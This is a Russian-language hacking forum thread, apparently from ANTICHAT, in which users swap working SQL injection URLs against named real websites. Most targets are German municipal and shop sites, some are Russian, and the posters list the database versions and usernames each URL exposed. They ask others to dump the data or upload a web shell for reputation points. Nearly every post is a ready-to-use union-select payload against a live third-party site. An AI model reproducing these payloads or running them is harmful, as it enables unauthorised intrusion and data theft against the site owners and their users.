ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Интересно!
вывод скули происходит в флэш плеере)) через конкат не идёт так что подстааавляем что надо)

<<Обои для рабочего стола>>
db: 5.1.22-rc
name_db: artoboi
user: artoboi@localhost
os: portbld-freebsd7.0

dbuser:deone_site@v48.valuehost.ru
database: deone_site
table: pages
rows:
id text

SQL-in: http://www.alternation.ru/index.php?action=page&page=8+union+select+null,nul l,null,null,null+from+pages/*

<<Молодежный интернет портал, республики коми "Штурвал">>
db: 5.0.
db_name: _1 a160
user: 94 _1 a160
os: nu t- redh

Библиотека компании Oracle (pr7)
дальше со скулью не смог, но нашел интересную штуку:
можно гулять по всему серву, если кому-нибудь удастся залить шелл или еще лучше порутать, отпишите в ЛС плз, как вы это сделали

кста, хорошие маны по пхп на сайте, с примерами..

http://www.turkey.turmaster.ru/mountain_skiing/palandoken/hotels/show/?hid=1200+UNION+SELECT+1,2,3,4,5,unhex(hex(concat( user(),0x3a,version(),0x3a,database()))),7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,4 4,45,46,47,48,49,50,51,52,53,54,55,56+LIMIT+1,1
PR4 тИЦ120

studentsuccess.asu.edu - главный домен пр9
brown.edu - пр9
msm.cam.ac.uk - пр7
cnr.vt.edu - пр7

http://www.stadt-trebbin.de/show.php?id=-19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16--

Database Version: 4.0.27-standard-log
Database name: db99989045
User name: dbo99989045@212.227.127.17

http://www.feuerwehr-hamburg.de/aktuelles/show.php?id=-1191+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

Database Version: 4.1.25-log
Database name: ffhh
User name: ffhh@gnom5-mail.kommunity.net

http://www.monheim.de/freizeit/vereine/show.php?id=-293+union+select+concat(version(),0x3a,database(), 0x3a,user(),0x3a,@@version_compile_os),2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17--

Database Version: 5.0.32-Debian_7etch8
Database name: sucheaz
User name: sucheaz@localhost

http://www.mindroses.de/autoren/show.php?id=-17+UNION+SELECT+1,,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,32,33--

Database Version: 5.0.26
Database name: mindroses
User name: mindroses@localhost

http://www.inec.de/show.php?id=-193+union+select+1,2,3,4,5,6,7--

Database Version: 5.0.32-Debian_7etch8
Database name: inec
User name: inec@localhost

http://www.aw-autographen.de/script/show.php?page=5&id=-018+union+select+1,2,3,4,5,6--

Database Version: 5.0.32-Debian_7etch8
Database name: db_autographen
User name: autographen@localhost

http://www.das-matratzen-haus.de/shop2/show.php?rb=397'+union+select+1,2,3,4/*

Database Version: 4.0.25-Max-log
Database name: v132849
User name: v132849@localhost

кто сдампит прошу в ЛС за плюсами

http://www.modelle-amberg-regensburg.de/show.php?id=-285+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Database Version: 4.0.27-max
Database name: db92260001
User name: db92260001@localhost

Это просто ППЦ )))) куда нафег столько много? аж 415 оО

http://www.bagshop.com/store/mcart.php?ID=-5664'+U NION+SELECT+1,2,concat_ws(0x203a20,version(),user( ),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,5 1,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67, 68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84 ,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100, 101,102,103,104,105,106,107,108,109,110,111,112,11 3,114,115,116,117,118,119,120,121,122,123,124,125, 126,127,128,129,130,131,132,133,134,135,136,137,13 8,139,140,141,142,143,144,145,146,147,148,149,150, 151,152,153,154,155,156,157,158,159,160,161,162,16 3,164,165,166,167,168,169,170,171,172,173,174,175, 176,177,178,179,180,181,182,183,184,185,186,187,18 8,189,190,191,192,193,194,195,196,197,198,199,200, 201,202,203,204,205,206,207,208,209,210,211,212,21 3,214,215,216,217,218,219,220,221,222,223,224,225, 226,227,228,229,230,231,232,233,234,235,236,237,23 8,239,240,241,242,243,244,245,246,247,248,249,250, 251,252,253,254,255,256,257,258,259,260,261,262,26 3,264,265,266,267,268,269,270,271,272,273,274,275, 276,277,278,279,280,281,282,283,284,285,286,287,28 8,289,290,291,292,293,294,295,296,297,298,299,300, 301,302,303,304,305,306,307,308,309,310,311,312,31 3,314,315,316,317,318,319,320,321,322,323,324,325, 326,327,328,329,330,331,332,333,334,335,336,337,33 8,339,340,341,342,343,344,345,346,347,348,349,350, 351,352,353,354,355,356,357,358,359,360,361,362,36 3,364,365,366,367,368,369,370,371,372,373,374,375, 376,377,378,379,380,381,382,383,384,385,386,387,38 8,389,390,391,392,393,394,395,396,397,398,399,400, 401,402,403,404,405,406,407,408,409,410,411,412,41 3,414,415+--+

5.0.45-log : fiftyone_r@localhost : fiftyone_store